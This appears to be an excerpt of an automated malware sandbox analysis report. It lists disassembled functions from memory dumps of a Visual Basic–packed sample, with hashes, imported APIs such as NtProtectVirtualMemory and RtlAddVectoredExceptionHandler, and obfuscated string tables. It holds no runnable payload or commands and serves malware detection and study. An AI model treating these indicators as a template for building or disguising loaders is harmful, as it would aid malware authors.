Instruction Fuzzy Hash: C402BA726092C68FCF258F3AC8842E97BF1EF46320F194A9EC55D8B683DB355906CB45

Uniqueness

Uniqueness Score: -1.00%

Function 02A99D25, Relevance: 1.8, APIs: 1, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ce0d7b34bd4fc63b8dc6e9f6cf908ed69edaee7999cd9215b081b2cfa8e77cc
Instruction ID: 2449bbbaa8233b014590423ac34cd545df3942933e30208d9ce4298b90bf6cc1
Opcode Fuzzy Hash: 3ce0d7b34bd4fc63b8dc6e9f6cf908ed69edaee7999cd9215b081b2cfa8e77cc
Instruction Fuzzy Hash: 3EB1A832508389DFCF298F3689957EA7BF1AF45350F15461ECD0A8B692DF309941CB82

Uniqueness

Uniqueness Score: -1.00%

Function 02A99D32, Relevance: 1.7, APIs: 1, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76bb754b4e9f0943d713c910c07c961fd5134f2e39acfad0687c3fc8ae1deb75
Instruction ID: 4084755e7bdaa28119b21200ae9ebb1cc0c0492b00888bcd802cd4c97e9e26aa
Opcode Fuzzy Hash: 76bb754b4e9f0943d713c910c07c961fd5134f2e39acfad0687c3fc8ae1deb75
Instruction Fuzzy Hash: BC71FF31504786DFCF398F298A957EA77F2AF89350F12421ECC0A9B291DF309945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 02A99D75, Relevance: 1.7, APIs: 1, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8c563f559e5516a866cbae3d470c80e9816416f1a46fb5e64d93b54c744fd54
Instruction ID: 48f7b327076619b9a65e06440171909d1e4741d6befc1a91bd4a81e4954739e1
Opcode Fuzzy Hash: e8c563f559e5516a866cbae3d470c80e9816416f1a46fb5e64d93b54c744fd54
Instruction Fuzzy Hash: 4E710F31904786DFCF398F298AA57EA77B2AF45350F12421ECC0A9B291DF319945CF86

Uniqueness

Uniqueness Score: -1.00%

Function 02A99E09, Relevance: 1.7, APIs: 1, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97c6c1da37f36c9fcb1d5aafb0640466d9a73a9f0251accc7fca584925492a6a
Instruction ID: bcb4cd41433542f3c63557821a14cd3b358de4ade5f0aeeb5ba16c58986cc862
Opcode Fuzzy Hash: 97c6c1da37f36c9fcb1d5aafb0640466d9a73a9f0251accc7fca584925492a6a
Instruction Fuzzy Hash: D2610E31504385DFDF298F26CA957EA77B2AF49360F56421ECC1A8B2A1DF348945CF82

Uniqueness

Uniqueness Score: -1.00%

Function 02A99D4D, Relevance: 1.7, APIs: 1, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0590940b26263124285b9f6edf5dd67c233176c490d440284dd960fdcb27fc9d
Instruction ID: 913f8a042f6083a9e53ef6279c195019002e6eb2566562d1ac6e42ee5869cf3c
Opcode Fuzzy Hash: 0590940b26263124285b9f6edf5dd67c233176c490d440284dd960fdcb27fc9d
Instruction Fuzzy Hash: F661EF31504785DFCF798F298A957EA77B2AF49350F12421ECC0A9B291DF309945CB86

Uniqueness

Uniqueness Score: -1.00%

Function 02A99D61, Relevance: 1.7, APIs: 1, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbaeb7098c2848ac24c143ea9c7de8a93a712a1a2561c9394b81e05b108c6943
Instruction ID: 69689ced17dd829ae669cddad52168f49d45a4316afe91338d87d957d7266e5d
Opcode Fuzzy Hash: cbaeb7098c2848ac24c143ea9c7de8a93a712a1a2561c9394b81e05b108c6943
Instruction Fuzzy Hash: 3961DE31904785DFCF398F298A957EA77B2AF49350F12421ECC0A9B291DF319945CF86

Uniqueness

Uniqueness Score: -1.00%

Function 02A99DC3, Relevance: 1.7, APIs: 1, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffefbcbbf858345544f1c89fdcbe210bf94a8f503b9d47da1ccddf34915ed3a5
Instruction ID: c6f00e14ba5d821462bc76ed8fdeb19d94f11f7abbf9500e00c0a4a767fca6c6
Opcode Fuzzy Hash: ffefbcbbf858345544f1c89fdcbe210bf94a8f503b9d47da1ccddf34915ed3a5
Instruction Fuzzy Hash: CF61CB31504385DFDF698F29CAA57EA77B2AF49350F52421ECC0A8B291DF319945CF82

Uniqueness

Uniqueness Score: -1.00%

Function 02A99DDB, Relevance: 1.7, APIs: 1, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e06151fbe39dc34f57b16a419271cc1b425125f471bd7fa87de8783343df98a1
Instruction ID: c0af9d9521fe6207c5a65c1616a2fb41a7527d636506be42e8093eb920ba91dd
Opcode Fuzzy Hash: e06151fbe39dc34f57b16a419271cc1b425125f471bd7fa87de8783343df98a1
Instruction Fuzzy Hash: 8851DA31504389DFCF698F25CAA57EA77B2AF49350F12421ECC0A8B291CF309945CF86

Uniqueness

Uniqueness Score: -1.00%

Function 02A97092, Relevance: 1.6, APIs: 1, Instructions: 140libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02A97034

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fdfb62cc67fcf3b3516960fbed190cb6fd3a19c33aea6c9121cf0377ac8771f3
Instruction ID: 354bafd9ab7861f8ed9d4597dd5f58265314234ec643062dda7c1c03f154eb90
Opcode Fuzzy Hash: fdfb62cc67fcf3b3516960fbed190cb6fd3a19c33aea6c9121cf0377ac8771f3
Instruction Fuzzy Hash: 6531DFF64642418BDF126F669C822D4FFA0EB152307602B84D8A18B567EF51854FDBB1

Uniqueness

Uniqueness Score: -1.00%

Function 02A99E66, Relevance: 1.6, APIs: 1, Instructions: 134COMMON

Download Yara Rule

APIs

RtlAddVectoredExceptionHandler.NTDLL ref: 02A9A0F4

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: 80516b8250deb4e4893e5fd3b6caecaf65d5ab9377b42aac7cff6d7265e2cadb
Instruction ID: a1c7d6cbf7c7af9b0725e0dd25a009f478780397785fc7402a701b5f8462a025
Opcode Fuzzy Hash: 80516b8250deb4e4893e5fd3b6caecaf65d5ab9377b42aac7cff6d7265e2cadb
Instruction Fuzzy Hash: EE51EC31504285DFCF798F25CA95BEA73B2AF48350F52421EDC0A9B2A1CF318945CF85

Uniqueness

Uniqueness Score: -1.00%

Function 02A99EC5, Relevance: 1.6, APIs: 1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d67adbd2f005f846cfcf9dbf6bfc2625d0a750cfad50d34b84c6be9d519bfb2f
Instruction ID: fafa6fdbf225e7f071b386643dc96e7f82f7695661a15da6dd85148f3bd4a22f
Opcode Fuzzy Hash: d67adbd2f005f846cfcf9dbf6bfc2625d0a750cfad50d34b84c6be9d519bfb2f
Instruction Fuzzy Hash: BB512F31504345DFCF398F25CA957EA73B2AF88350F26421ADC0A9B2A1CF319945CF81

Uniqueness

Uniqueness Score: -1.00%

Function 02A99EA7, Relevance: 1.6, APIs: 1, Instructions: 125COMMON

Download Yara Rule

APIs

RtlAddVectoredExceptionHandler.NTDLL ref: 02A9A0F4

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: ee1dad019b1db46fd7d76e66632f952ffc2e2e2fb6bea903661aefff4c7dfa3e
Instruction ID: c1c818dabba109318b714af3af2230136ec04da644413ed47c69c7120d1bcedd
Opcode Fuzzy Hash: ee1dad019b1db46fd7d76e66632f952ffc2e2e2fb6bea903661aefff4c7dfa3e
Instruction Fuzzy Hash: 6C41FF31904345DFDF798F25CA957EA77B2AF89360F12421ADC0A9B2A1CF319945CF81

Uniqueness

Uniqueness Score: -1.00%

Function 02A99E91, Relevance: 1.6, APIs: 1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41d925e90cedee032ee17c19ee3e6d72a8ae87880ea33647e964582dc3069fe7
Instruction ID: 1739775f1b492da16f6196bc8bb0d23fcadf19d47ad5de92e3e6f58ce03c661c
Opcode Fuzzy Hash: 41d925e90cedee032ee17c19ee3e6d72a8ae87880ea33647e964582dc3069fe7
Instruction Fuzzy Hash: 1B41FD30504285DFCF798F25CA957EA73B2AF89350F12421ADC0A9B6A1DF319945CF81

Uniqueness

Uniqueness Score: -1.00%

Function 02A99F9C, Relevance: 1.6, APIs: 1, Instructions: 121COMMON

Download Yara Rule

APIs

RtlAddVectoredExceptionHandler.NTDLL ref: 02A9A0F4

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: 0bbf5124d75c80dcd9da8895cd923913c3452305ce390c491e8924f737b467b2
Instruction ID: bb461e1052f591f7b1d1224c1070f2c67d0f61de3729362cd9fc088353094d97
Opcode Fuzzy Hash: 0bbf5124d75c80dcd9da8895cd923913c3452305ce390c491e8924f737b467b2
Instruction Fuzzy Hash: 1041F131504291CFCF398F35C9947EA77B2AF48360F65421BDC0A9B291DF359946CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02A99F1F, Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

APIs

RtlAddVectoredExceptionHandler.NTDLL ref: 02A9A0F4

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: 782441422e6b2eb7cf9c3bc279e742a68f3cdcdc4c1876b49b8cd5322b1187d3
Instruction ID: 77172a18304ee715b3826cc03716b1e8826513e10d48cf7473a5eb19bd1d59f4
Opcode Fuzzy Hash: 782441422e6b2eb7cf9c3bc279e742a68f3cdcdc4c1876b49b8cd5322b1187d3
Instruction Fuzzy Hash: AD410231508244DFCF28DF25CA947EAB7B2AF48350F51421EDC0A8B291CF319945CF81

Uniqueness

Uniqueness Score: -1.00%

Function 02A99EFE, Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

RtlAddVectoredExceptionHandler.NTDLL ref: 02A9A0F4

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: cc1c765dde0dd857509f419304519b570b70fd53d9c4d10c16e43e641036b87e
Instruction ID: 745af1882121033ffb287e7addc415d1f81b577a1b8c22a6484d3a6f06b47d3d
Opcode Fuzzy Hash: cc1c765dde0dd857509f419304519b570b70fd53d9c4d10c16e43e641036b87e
Instruction Fuzzy Hash: BF41FF31508290CFCF69DF25CA94BEA77B2AF48350F55421EDC0A8B296CF359945CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02A99F46, Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

RtlAddVectoredExceptionHandler.NTDLL ref: 02A9A0F4

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: 9cf56e7af486cff30b2ac7c7deae532ffa65f8aec1a027027c7376fd358f3fe8
Instruction ID: 57d2c5bb65ed6451b088026a5b2b9b99289fb9b28cabaac0583c10262001d503
Opcode Fuzzy Hash: 9cf56e7af486cff30b2ac7c7deae532ffa65f8aec1a027027c7376fd358f3fe8
Instruction Fuzzy Hash: E741EF31604254CFCF68DF29CA94BEA73B2AF88350F56421ADC1A9B295CF359985CF81

Uniqueness

Uniqueness Score: -1.00%

Function 02A99F6F, Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

RtlAddVectoredExceptionHandler.NTDLL ref: 02A9A0F4

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: 852917523e0213ee9ba002ebf68395813263de9f50a7af337ce78a970098f406
Instruction ID: c65d873564bb209b6d8f1d9fd6c1b326b289474eea26325040de6fd8a946489f
Opcode Fuzzy Hash: 852917523e0213ee9ba002ebf68395813263de9f50a7af337ce78a970098f406
Instruction Fuzzy Hash: 8641DF30904254CBCF38DF25C9A4BEA77B2AF88350F66421EDC0A9B296CF359945CF85

Uniqueness

Uniqueness Score: -1.00%

Function 02A99F8C, Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

RtlAddVectoredExceptionHandler.NTDLL ref: 02A9A0F4

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: d56e600c3f23795123563dc9e5b23b70ee3424f4b4013fa16131637812ec85b4
Instruction ID: 2fcb26a7f5521863a3f117fec8d75bc255650cfcd79d9dc68bb2932d52b52fa1
Opcode Fuzzy Hash: d56e600c3f23795123563dc9e5b23b70ee3424f4b4013fa16131637812ec85b4
Instruction Fuzzy Hash: 1531C231A04654CBCF38DF25C994BEA73B2AF48350F65421ADC0A9B296DF359A49CF80

Uniqueness

Uniqueness Score: -1.00%

Function 02A9A025, Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

RtlAddVectoredExceptionHandler.NTDLL ref: 02A9A0F4

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: 55b0e1018dfed4d322bd343924baacf213bc8ad00ef52a928bca509f0dc4e0eb
Instruction ID: faf624b6a8ca5713cf12f093bc187aca5eccb6a23dedd1cdfb3fe274ad8fd970
Opcode Fuzzy Hash: 55b0e1018dfed4d322bd343924baacf213bc8ad00ef52a928bca509f0dc4e0eb
Instruction Fuzzy Hash: 53217C319446648BCF39CF11C998BE973B2AF85351F66421BCC095B296CF359E45CF84

Uniqueness

Uniqueness Score: -1.00%

Function 02A9A051, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

RtlAddVectoredExceptionHandler.NTDLL ref: 02A9A0F4

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: 93197d438bf75e8ed1db7da7490c3879f29463e45263550543961fe479ca3f1c
Instruction ID: 79bf3e7cd4a42c36030d435ecd2b87303f02d2670f8febe5f4989058d6f504c0
Opcode Fuzzy Hash: 93197d438bf75e8ed1db7da7490c3879f29463e45263550543961fe479ca3f1c
Instruction Fuzzy Hash: 08212C305042948BCF39DF21C9A4BE973B2AF84351F65421ADC195F292DF359A45CF84

Uniqueness

Uniqueness Score: -1.00%

Function 02A9A0A2, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

RtlAddVectoredExceptionHandler.NTDLL ref: 02A9A0F4

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: d57193b27a8abfa630076e313a3548c02833d45aed1b6ed994ec9f271723d01f
Instruction ID: 6a2ac75bd64a8f0788f01b1018a25bd101171c167f62471dde7bf689337da317
Opcode Fuzzy Hash: d57193b27a8abfa630076e313a3548c02833d45aed1b6ed994ec9f271723d01f
Instruction Fuzzy Hash: 2B115B301082848FCF29DF21C9E4BE97BB2AF85310F64455AC8095F296CB399989DB45

Uniqueness

Uniqueness Score: -1.00%

Function 02A998A5, Relevance: 1.5, APIs: 1, Instructions: 31nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL ref: 02A9992B

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: dba8cc3bf6277eff583ac7c0ca1f1e0ed129c59b08a6737c0248ef7379bad16a
Instruction ID: 6261471efab36792aa8e6c774d21a2c96650331bc9693e757f337ecb23d8eac4
Opcode Fuzzy Hash: dba8cc3bf6277eff583ac7c0ca1f1e0ed129c59b08a6737c0248ef7379bad16a
Instruction Fuzzy Hash: 3AF03C756182499FDB38CF18DC14AEEB6E6EBC8704F05802DE84A57254DA70AA40CB56

Uniqueness

Uniqueness Score: -1.00%

Function 02A998DD, Relevance: 1.5, APIs: 1, Instructions: 31nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL ref: 02A9992B

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: ff34c4a657b451dce0ddaaf7c539ff897331ec8f03592f72e229932e2f483e8d
Instruction ID: a47706ce8cb5fd01568916b3160b74bf2d98ad40e59e50a37c81f41a1b0f5bfc
Opcode Fuzzy Hash: ff34c4a657b451dce0ddaaf7c539ff897331ec8f03592f72e229932e2f483e8d
Instruction Fuzzy Hash: FFF0F6774083849FEB289F748C146EEBBF59FD5360F05491DEC5A57250D7719600C242

Uniqueness

Uniqueness Score: -1.00%

Function 02A9A0FE, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

RtlAddVectoredExceptionHandler.NTDLL ref: 02A9A0F4

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: eaaa99a7fe1e6afe8aeef241538ea3fd6688040b755b8ca0b60b8a8343759aeb
Instruction ID: e1a15ef4d5a2c717be3d2c305b2f0b8ff2489bda12117249b518ff8299eea33b
Opcode Fuzzy Hash: eaaa99a7fe1e6afe8aeef241538ea3fd6688040b755b8ca0b60b8a8343759aeb
Instruction Fuzzy Hash: 42E06D341441048ACF29AF72CA887CD33B2AF817A0F304705DD256B2C4DB359989DB91

Uniqueness

Uniqueness Score: -1.00%

Function 02A998FD, Relevance: 1.5, APIs: 1, Instructions: 13nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL ref: 02A9992B

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: c5bb545bf10894ec9f0eaca9aa2a360eea2ba125b1fe5df5d96bcd8d8004fd8b
Instruction ID: 8ea28f8ef8ed5312c33478078bbc069bb2172ff9dbaffec4d0baa42f0303c6dc
Opcode Fuzzy Hash: c5bb545bf10894ec9f0eaca9aa2a360eea2ba125b1fe5df5d96bcd8d8004fd8b
Instruction Fuzzy Hash: AFD05EB22192008FEB5C9FF4DD168A9BAA6ABC5300F00442CA08641154D6301640C617

Uniqueness

Uniqueness Score: -1.00%

Function 02A99933, Relevance: 1.5, APIs: 1, Instructions: 13nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL ref: 02A9992B

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: d78020be451cc16d137870c3d2b05ade1c32188ab738a5b3935ee43ffd0bfc16
Instruction ID: b4df82765fbe3974d78f1fdddd6ec4b8ec9a2ec3e9c789b588de6c827aca41b1
Opcode Fuzzy Hash: d78020be451cc16d137870c3d2b05ade1c32188ab738a5b3935ee43ffd0bfc16
Instruction Fuzzy Hash: 43C0123B05A34288AB1267B6448629EFB514990675B254F1AC571854E8E684824691A7

Uniqueness

Uniqueness Score: -1.00%

Function 00414E70, Relevance: 303.7, APIs: 142, Strings: 31, Instructions: 949COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,00401406), ref: 00414E8E
__vbaChkstk.MSVBVM60 ref: 00414ED5
#689.MSVBVM60(mahbub,CAMPECHE,Sambas1), ref: 00414F0E
__vbaStrMove.MSVBVM60 ref: 00414F19
__vbaStrCmp.MSVBVM60(RUSTIFICERER,00000000), ref: 00414F25
__vbaFreeStr.MSVBVM60 ref: 00414F3C
#711.MSVBVM60(?,CHILDPROOF,0000000A,000000FF,00000000), ref: 00414F83
__vbaAryVar.MSVBVM60(00002008,?), ref: 00414F95
__vbaAryCopy.MSVBVM60(?,?), ref: 00414FAC
__vbaFreeVarList.MSVBVM60(00000002,0000000A,?), ref: 00414FC2
__vbaOnError.MSVBVM60(000000FF,?,?,00401406), ref: 00414FD4
__vbaOnError.MSVBVM60(000000FF), ref: 00415018
__vbaChkstk.MSVBVM60 ref: 0041503E
#689.MSVBVM60(gudskelov,UNDERSECRETARYSHIP,Vetos), ref: 00415077
__vbaStrMove.MSVBVM60 ref: 00415082
#717.MSVBVM60(?,00000008,00000080,00000000), ref: 004150C3
__vbaVar2Vec.MSVBVM60(?,?), ref: 004150D7
__vbaAryMove.MSVBVM60(?,?), ref: 004150E8
__vbaFreeStr.MSVBVM60 ref: 004150F1
__vbaFreeVarList.MSVBVM60(00000002,00000008,?), ref: 00415107
__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,00000042,00000000), ref: 00415145
__vbaUbound.MSVBVM60(00000001,?), ref: 0041515B
__vbaNew2.MSVBVM60(00412DB8,004172D4), ref: 0041517E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00412DA8,00000014), ref: 004151E7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00412DC8,000000F0), ref: 0041524D
__vbaStrMove.MSVBVM60 ref: 0041527E
__vbaFreeObj.MSVBVM60 ref: 0041528A
__vbaVarDup.MSVBVM60 ref: 004152B7
#515.MSVBVM60(?,?,00000006), ref: 004152CD
__vbaStrVarMove.MSVBVM60(?), ref: 004152DA
__vbaStrMove.MSVBVM60 ref: 004152E5
__vbaFreeStr.MSVBVM60(00415EE5), ref: 00415E3C
__vbaFreeStr.MSVBVM60 ref: 00415E45
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00415E51
__vbaFreeStr.MSVBVM60 ref: 00415E5A
__vbaFreeStr.MSVBVM60 ref: 00415E63
__vbaFreeStr.MSVBVM60 ref: 00415E6C
__vbaFreeStr.MSVBVM60 ref: 00415E75
__vbaFreeStr.MSVBVM60 ref: 00415E7E
__vbaFreeStr.MSVBVM60 ref: 00415E87
__vbaFreeStr.MSVBVM60 ref: 00415E90
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00415E9C
__vbaFreeObj.MSVBVM60 ref: 00415EA5
__vbaFreeStr.MSVBVM60 ref: 00415EAE
__vbaFreeStr.MSVBVM60 ref: 00415EB7
__vbaFreeStr.MSVBVM60 ref: 00415EC0
__vbaFreeStr.MSVBVM60 ref: 00415EC9
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00415ED5
__vbaFreeStr.MSVBVM60 ref: 00415EDE

Strings

ADODB.Stream, xrefs: 00415935
EFFEKTUDGANG, xrefs: 004153D2
Reservoirs9, xrefs: 0041535D
akkumuler, xrefs: 00415AF7
\AUsKK2sNGbsEGIrimbMiwsX6q6hwa33vutRa71, xrefs: 00415429
Unaadigt, xrefs: 0041538C
6", xrefs: 00415BF9
D, xrefs: 00415B22
Vetos, xrefs: 00415068
+, xrefs: 00415DB9
tmp, xrefs: 004153EF
Superpurity, xrefs: 00415623
Minusets, xrefs: 004154A7
Anatomically, xrefs: 00415977
FORNUFTSSTRIDIGE, xrefs: 00415F3D
whitebelt, xrefs: 00415AF2
Skotskterrieren, xrefs: 00415820
Indifference3, xrefs: 00415632
BILEDDET, xrefs: 004158C1
underdnningerne, xrefs: 00415999
CHILDPROOF, xrefs: 00414F77
UNDERSECRETARYSHIP, xrefs: 0041506D
gudskelov, xrefs: 00415072
Sambas1, xrefs: 00414EFF
mahbub, xrefs: 00414F09
CAMPECHE, xrefs: 00414F04
Orangeist1, xrefs: 00415CF2
Perfections, xrefs: 00415628
RUSTIFICERER, xrefs: 00414F20
Unusuality, xrefs: 00415297
TRLLEARBEJDE, xrefs: 0041562D

Memory Dump Source

Source File: 00000000.00000002.382597577.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.382580098.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.382611741.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.382620458.0000000000418000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Move$ChkstkDestruct$#689CheckErrorHresultList$#515#711#717CopyNew2RedimUboundVar2
String ID: +$6"$ADODB.Stream$Anatomically$BILEDDET$CAMPECHE$CHILDPROOF$D$EFFEKTUDGANG$FORNUFTSSTRIDIGE$Indifference3$Minusets$Orangeist1$Perfections$RUSTIFICERER$Reservoirs9$Sambas1$Skotskterrieren$Superpurity$TRLLEARBEJDE$UNDERSECRETARYSHIP$Unaadigt$Unusuality$Vetos$\AUsKK2sNGbsEGIrimbMiwsX6q6hwa33vutRa71$akkumuler$gudskelov$mahbub$tmp$underdnningerne$whitebelt
API String ID: 1786272625-3009022654
Opcode ID: 9cabe2c020e6324f5fa7b396c90197534822c6d3ea4b1932b73fdd4b0997f4d6
Instruction ID: 5fcf16880f0d1ebad15f95b9d6174c1e364a083e780241896c7396f60d394cd6
Opcode Fuzzy Hash: 9cabe2c020e6324f5fa7b396c90197534822c6d3ea4b1932b73fdd4b0997f4d6
Instruction Fuzzy Hash: A4A2F875900218EFDB14DF90DD89BDDBBB4FB48305F10819AE20AB72A0DBB45A85CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00414200, Relevance: 136.9, APIs: 61, Strings: 17, Instructions: 407COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60 ref: 0041429E
#618.MSVBVM60(?,0000005F), ref: 004142AA
__vbaStrMove.MSVBVM60 ref: 004142BB
__vbaStrCmp.MSVBVM60(Dressets3,00000000), ref: 004142C3
__vbaFreeStr.MSVBVM60 ref: 004142DA
__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,00000008,00000000), ref: 004142FF
__vbaLbound.MSVBVM60(00000001,?), ref: 0041430E
#526.MSVBVM60(?,0000003F), ref: 0041431A
#617.MSVBVM60(?,?,0000008F), ref: 0041432D
__vbaStrVarMove.MSVBVM60(?), ref: 00414337
__vbaStrMove.MSVBVM60 ref: 00414342
__vbaFreeVarList.MSVBVM60(00000002,?,?), ref: 0041434E
#611.MSVBVM60 ref: 00414357
__vbaVarDup.MSVBVM60 ref: 00414387
#619.MSVBVM60(?,?,0000008C), ref: 0041439A
__vbaVarCat.MSVBVM60(?,?,?), ref: 004143C6
__vbaVarCat.MSVBVM60(?,00000008,00000000), ref: 004143DB
__vbaStrVarMove.MSVBVM60(00000000), ref: 004143E2
__vbaStrMove.MSVBVM60 ref: 004143ED
__vbaFreeVarList.MSVBVM60(00000005,?,?,?,?,?), ref: 0041440E
#593.MSVBVM60(?), ref: 00414429
